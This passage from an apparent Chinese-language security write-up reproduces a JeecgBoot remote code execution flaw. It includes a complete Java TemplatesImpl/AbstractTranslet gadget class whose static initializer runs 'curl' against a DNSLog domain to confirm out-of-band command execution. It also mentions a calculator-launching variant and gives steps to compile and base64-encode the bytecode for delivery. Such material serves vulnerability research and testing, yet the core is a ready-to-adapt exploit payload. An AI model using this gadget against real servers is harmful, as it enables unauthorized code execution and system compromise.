反编译poc里的字节码，可以看到是调用Runtime.getRuntime.exec来执行系统命令启动计算器：

发送poc，可以看到成功调用了计算器

DNSLog验证

使用https://dnslog.org/获得一个域名：

jeecg.e7b700c1.log.dnslog.biz.

编写poc：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test1 extends AbstractTranslet {
   public test1() {
   }

   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
   }

   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
   }

   static {
      try {
         Runtime.getRuntime().exec("curl jeecg.e7b700c1.log.dnslog.biz.");
      } catch (IOException var1) {
         throw new RuntimeException(var1);
      }
   }
}

javac编译，然后base64编码字节码：
